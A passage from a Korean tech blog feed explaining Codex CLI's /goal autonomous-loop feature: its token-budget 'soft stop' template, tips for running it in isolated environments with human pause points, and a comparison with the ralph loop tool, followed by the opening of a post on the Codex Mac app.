&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1750&quot; data-origin-height=&quot;1652&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EcPcy/dJMcadaJ5dk/FQTjcJzrDzTy4tlWrrhCR0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EcPcy/dJMcadaJ5dk/FQTjcJzrDzTy4tlWrrhCR0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EcPcy/dJMcadaJ5dk/FQTjcJzrDzTy4tlWrrhCR0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEcPcy%2FdJMcadaJ5dk%2FFQTjcJzrDzTy4tlWrrhCR0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1750&quot; height=&quot;1652&quot; data-origin-width=&quot;1750&quot; data-origin-height=&quot;1652&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 15m 소요시간 확인.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1734&quot; data-origin-height=&quot;48&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/NAAmO/dJMcab47RNI/FX5g7ZP2ynKCv8nU5tK1lK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/NAAmO/dJMcab47RNI/FX5g7ZP2ynKCv8nU5tK1lK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/NAAmO/dJMcab47RNI/FX5g7ZP2ynKCv8nU5tK1lK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FNAAmO%2FdJMcab47RNI%2FFX5g7ZP2ynKCv8nU5tK1lK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1734&quot; height=&quot;48&quot; data-origin-width=&quot;1734&quot; data-origin-height=&quot;48&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== SECTION 6 ===== --&gt;
&lt;h2 id=&quot;section6&quot; style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 8px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 토큰 소모 후 동작 &amp;mdash; 확인된 것과 확인되지 않은 것&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1928&quot; data-origin-height=&quot;1012&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/E83M5/dJMcabD33Gj/s1VeD3Q18jqXPMWFiMh73k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/E83M5/dJMcabD33Gj/s1VeD3Q18jqXPMWFiMh73k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/E83M5/dJMcabD33Gj/s1VeD3Q18jqXPMWFiMh73k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FE83M5%2FdJMcabD33Gj%2Fs1VeD3Q18jqXPMWFiMh73k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1928&quot; height=&quot;1012&quot; data-origin-width=&quot;1928&quot; data-origin-height=&quot;1012&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;며칠씩 돌아가다 토큰이 떨어지면 어떻게 되느냐&quot;는 질문이 가장 많이 나온다. 이 부분은 사실과 추정을 분리해서 적는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/openai/codex/blob/rust-v0.128.0/codex-rs/core/templates/goals/budget_limit.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex 0.128.0의 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;goals/budget_limit.md&lt;/code&gt; 템플릿&lt;/a&gt;에는 다음 본문이 들어 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; border-radius: 0 8px 8px 0; padding: 16px 20px; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;The active thread goal has reached its token budget. The system has marked the goal as budget_limited, so do not start new substantive work for this goal. Wrap up this turn soon: summarize useful progress, identify remaining work or blockers, and leave the user with a clear next step. Do not call update_goal unless the goal is actually complete.&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0 0 0; font-size: 13px; color: #666; font-style: italic;&quot; data-ke-size=&quot;size16&quot;&gt;(번역) 활성 목표가 토큰 예산 한도에 도달했습니다.&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0 0 0; font-size: 13px; color: #666; font-style: italic;&quot; data-ke-size=&quot;size16&quot;&gt;시스템이 목표를 budget_limited로 표시했으므로, 이 목표로 새로운 실질적인 작업을 시작하지 마세요.&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0 0 0; font-size: 13px; color: #666; font-style: italic;&quot; data-ke-size=&quot;size16&quot;&gt;이번 턴을 곧 마무리하세요: 유용한 진행 상황을 요약하고, 남은 작업이나 장애물을 파악하고, 사용자에게 명확한 다음 단계를 남겨 주세요.&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0 0 0; font-size: 13px; color: #666; font-style: italic;&quot; data-ke-size=&quot;size16&quot;&gt;목표가 실제로 완료된 경우가 아니라면 update_goal을 호출하지 마세요.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 템플릿에서 확인할 수 있는 사실은 두 가지다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;첫째, 토큰 예산이 소진되면 시스템이 목표를 budget_limited(예산 소진) 상태로 표시한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;둘째, 진행 중인 턴을 강제로 끊지 않고 &quot;마무리 지시&quot;를 주입한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, 진행하던 작업을 요약하고 다음 단계를 남겨 놓은 뒤 조용히 멈추는 방식이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PR #18076에서도 같은 동작을 &quot;soft stop&quot;이라고 표현한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; border-radius: 0 8px 8px 0; padding: 16px 20px; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;주의:&lt;/b&gt; budget_limited 이후 자동 재시작 메커니즘은 소스코드와 릴리즈 노트에서 확인되지 않는다.&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;커뮤니티 일각의 &quot;토큰 충전 후 알아서 다시 돈다&quot; 류 표현은 직접 검증이 어렵다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;확인할 수 있었던 범위에서는, 재시작은 사용자가 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;/goal resume&lt;/code&gt;을 입력하거나 새 목표를 다시 등록해야만 일어난다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자동 재시작 로직이 어딘가 숨어 있을 가능성을 단정적으로 부정할 수는 없지만, 적어도 0.128.0 시점의 공개 코드와 문서로는 그 동작을 보장하지 못한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== SECTION 7 ===== --&gt;&lt;!-- ===== SECTION 8 ===== --&gt;
&lt;h2 id=&quot;section8&quot; style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 8px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7 활용 팁&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소스코드 분석을 바탕으로 실제 운용 시 유용한 가이드를 정리한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1972&quot; data-origin-height=&quot;1060&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HoeBA/dJMcaa6eJCO/sKsQ9esG6a8psYFRjVuaGk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HoeBA/dJMcaa6eJCO/sKsQ9esG6a8psYFRjVuaGk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HoeBA/dJMcaa6eJCO/sKsQ9esG6a8psYFRjVuaGk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHoeBA%2FdJMcaa6eJCO%2FsKsQ9esG6a8psYFRjVuaGk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1972&quot; height=&quot;1060&quot; data-origin-width=&quot;1972&quot; data-origin-height=&quot;1060&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 28px;&quot; data-ke-size=&quot;size23&quot;&gt;7-1. 목표 작성 요령&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소스코드의 create_goal 설명에는 &quot;일반 작업 중에 멋대로 목표를 추론하지 마라&quot;고 못 박혀 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 원칙은 목표를 작성하는 사람에게도 그대로 적용된다. 목표 텍스트에 다음 세 가지가 명확하게 들어가야 한다.&lt;/p&gt;
&lt;ul style=&quot;margin: 12px 0; padding-left: 24px; line-height: 1.9;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;완료 정의&lt;/b&gt;: 어떤 상태가 되면 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;update_goal&lt;/code&gt;이 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;complete&lt;/code&gt;로 호출되어야 하는지 명시한다. &quot;벤치마크 커버리지를 70%로 올린다&quot;처럼 정량 기준이 들어가면 모델이 종료를 판단할 단서가 생긴다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;금지 행동&lt;/b&gt;: 무인 모드에서 절대 하면 안 되는 행동을 함께 적는다. 예컨대 &quot;프로덕션 DB에 직접 쿼리하지 않는다&quot;, &quot;GitHub PR 머지는 사람이 한다&quot;처럼 단단한 가드레일을 텍스트에 박는다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;시간/예산 한도&lt;/b&gt;: 토큰 예산 설정을 지원하는 API나 툴을 쓰는 경우라면 예산을 명시한다. 터미널 화면에서 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;/goal 목표내용&lt;/code&gt;으로만 입력하는 경우에는 예산 문법이 확인되지 않으므로, 목표를 작게 나누고 수동으로 pause/clear 지점을 만든다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 28px;&quot; data-ke-size=&quot;size23&quot;&gt;7-2. 안전한 실행 환경&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1960&quot; data-origin-height=&quot;1042&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sOhtq/dJMcahK3GWv/du6KjQ71iXu4uzQLFvqny0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sOhtq/dJMcahK3GWv/du6KjQ71iXu4uzQLFvqny0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sOhtq/dJMcahK3GWv/du6KjQ71iXu4uzQLFvqny0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsOhtq%2FdJMcahK3GWv%2Fdu6KjQ71iXu4uzQLFvqny0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1960&quot; height=&quot;1042&quot; data-origin-width=&quot;1960&quot; data-origin-height=&quot;1042&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;/goal&lt;/code&gt;을 켜기 전에는 환경 자체를 격리한다. 다음 항목은 자율 루프 본격 운용 전에 한 번씩 점검해 둔다.&lt;/p&gt;
&lt;ul style=&quot;margin: 12px 0; padding-left: 24px; line-height: 1.9;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;격리 환경 우선&lt;/b&gt;: 별도 작업 디렉토리(worktree), 컨테이너, VM에서 실행한다. 이어가기(continuation)는 대기 상태마다 자동으로 켜지므로 같은 환경에서 다른 작업을 병행하지 않는다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Git 보호 설정&lt;/b&gt;: 루프가 스스로 PR을 만드는 워크플로라면, main 같은 보호된 브랜치에 직접 push하지 못하도록 권한을 분리해 둔다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;/goal pause&lt;/code&gt; 위치 미리 파악&lt;/b&gt;: 터미널 화면에서 즉시 멈추는 방법을 미리 익혀 둔다. &quot;이 방향이 아니다&quot; 싶을 때 pause를 입력하면 이어가기가 멈춘다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;예산 설정 방법 확인&lt;/b&gt;: 무인 실행에는 예산 상한이 있는 게 안전하다. 단, 터미널 슬래시 커맨드만으로는 토큰 예산 설정 문법이 확인되지 않으니, 서버 API나 모델 툴 경유 여부를 먼저 확인한다. 그게 어렵다면 목표를 잘게 나눠 수동 중단 지점을 만드는 게 현실적이다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;로그 분리&lt;/b&gt;: 이어가기는 사람이 없는 시간대에도 돌 수 있다. 로그를 별도 파일이나 채널로 빼 두고, 나중에 어떤 동작이 있었는지 추적할 수 있게 한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정리하면, 자율 모드의 비용은 모델이 결정하지만 안전은 사람이 사전 설계한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== SECTION 9 ===== --&gt;
&lt;h2 id=&quot;section9&quot; style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 8px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 결정 매트릭스 &amp;mdash; 언제 쓰고, 언제 쓰지 않는가&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1982&quot; data-origin-height=&quot;1096&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bXqN5D/dJMcah5mInZ/xRWIqtkCOJqkoWb5kaTz2K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bXqN5D/dJMcah5mInZ/xRWIqtkCOJqkoWb5kaTz2K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bXqN5D/dJMcah5mInZ/xRWIqtkCOJqkoWb5kaTz2K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbXqN5D%2FdJMcah5mInZ%2FxRWIqtkCOJqkoWb5kaTz2K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1982&quot; height=&quot;1096&quot; data-origin-width=&quot;1982&quot; data-origin-height=&quot;1096&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 16px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: bold;&quot;&gt;상황&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: bold;&quot;&gt;권장 도구&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px;&quot;&gt;단일 자유 텍스트 목표를 모델 자율로 풀고 싶다&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px;&quot;&gt;Codex &lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;/goal&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px;&quot;&gt;요구사항을 항목별로 분해하고 검토자 승인이 필요하다&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px;&quot;&gt;oh-my-claudecode ralph&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px;&quot;&gt;Codex 환경에서 token 예산만으로 자연 종료를 원한다&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px;&quot;&gt;token_budget을 노출하는 app-server/API 경로. 단순 TUI &lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;/goal&lt;/code&gt;만으로는 확인 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px;&quot;&gt;Claude Code 환경이고 PRD 기반 검증이 익숙하다&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px;&quot;&gt;oh-my-claudecode ralph&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px;&quot;&gt;자율 모드를 처음 써 보는 단계라 위험을 최소화하고 싶다&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px;&quot;&gt;둘 다 신중히. 특히 &lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;/goal&lt;/code&gt;은 격리 환경 + 작은 목표 단위 + 가능한 경우 token_budget&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결정 원칙은 둘 중 하나를 고르는 게임이 아니라 자율성과 가드레일의 비율을 어디서 잡을지 정하는 문제다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== SECTION 10 ===== --&gt;
&lt;h2 id=&quot;section10&quot; style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 8px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 마무리&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;/goal&lt;/code&gt;은 화려한 신기능이라기보다, 커뮤니티가 비공식으로 써 오던 ralph loop 방식을 OpenAI가 자기 식으로 정리한 버전에 가깝다. config 한 줄, 슬래시 커맨드 네 개, 모델용 툴 세 개, 이어가기 템플릿 한 장이라는 단순한 구성이다. 그 안에서 AI가 자율로 할 수 있는 범위와 사람이 통제하는 범위를 명확히 나눈 점은 인상적이다.&lt;/p&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 32px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 참고 자료 --&gt;
&lt;div style=&quot;background-color: #f8fbff; border: 1px solid #cce5ff; border-radius: 8px; padding: 20px 24px; margin: 24px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; margin: 0 0 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;참고 자료&lt;/p&gt;
&lt;ul style=&quot;margin: 0; padding-left: 24px; line-height: 2.0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/openai/codex/releases/tag/rust-v0.128.0&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex CLI v0.128.0 Release Notes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/openai/codex&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;openai/codex GitHub Repository&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/openai/codex/blob/rust-v0.128.0/codex-rs/features/src/lib.rs&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;codex-rs/features/src/lib.rs (Goals 피처 정의, rust-v0.128.0)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/openai/codex/blob/rust-v0.128.0/codex-rs/tui/src/chatwidget/slash_dispatch.rs&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;codex-rs/tui/src/chatwidget/slash_dispatch.rs (/goal 명령 분기, rust-v0.128.0)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/openai/codex/blob/rust-v0.128.0/codex-rs/tools/src/goal_tool.rs&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;codex-rs/tools/src/goal_tool.rs (모델 툴 정의, rust-v0.128.0)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/openai/codex/blob/rust-v0.128.0/codex-rs/core/templates/goals/continuation.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;codex-rs/core/templates/goals/continuation.md (rust-v0.128.0)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/openai/codex/blob/rust-v0.128.0/codex-rs/core/templates/goals/budget_limit.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;codex-rs/core/templates/goals/budget_limit.md (rust-v0.128.0)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.openai.com/codex/config-basic&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex config-basic 가이드&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.openai.com/codex/feature-maturity&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex Feature Maturity 가이드&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.testingcatalog.com/openai-updates-codex-and-prepares-remote-control-feature/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;TestingCatalog: OpenAI updates Codex and prepares remote control feature&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://news.ycombinator.com/item?id=46524652&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;HN: How Ralph Wiggum went from The Simpsons to the biggest name in AI right now (#46524652)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/jasonkneen/oh-my-claudecode&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;oh-my-claudecode ralph SKILL.md&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
      <category>AI/ChatGPT(Codex)</category>
      <category>ai 코딩 에이전트</category>
      <category>Codex /goal</category>
      <category>Codex CLI 0.128.0</category>
      <category>Codex goal</category>
      <category>Codex 설정</category>
      <category>Codex 실험 기능</category>
      <category>Codex 자율 루프</category>
      <category>config.toml</category>
      <category>goals true</category>
      <category>Ralph loop</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/591</guid>
      <comments>https://goddaehee.tistory.com/591#entry591comment</comments>
      <pubDate>Sun, 3 May 2026 18:27:15 +0900</pubDate>
    </item>
    <item>
      <title>Codex Mac App 가이드: 설치부터 권한, MCP, 자동화까지 - Codex App으로 코드를 직접 맡기는 시대</title>
      <link>https://goddaehee.tistory.com/590</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2668&quot; data-origin-height=&quot;1506&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c6PFL5/dJMcadhzEQf/cBv6TEI9U3hwUa7DQheA21/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c6PFL5/dJMcadhzEQf/cBv6TEI9U3hwUa7DQheA21/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c6PFL5/dJMcadhzEQf/cBv6TEI9U3hwUa7DQheA21/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc6PFL5%2FdJMcadhzEQf%2FcBv6TEI9U3hwUa7DQheA21%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2668&quot; height=&quot;1506&quot; data-origin-width=&quot;2668&quot; data-origin-height=&quot;1506&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;Codex 앱은 워크트리를 들고 코드를 직접 바꾸는 에이전트 도구다.&lt;/b&gt;&lt;/p&gt;
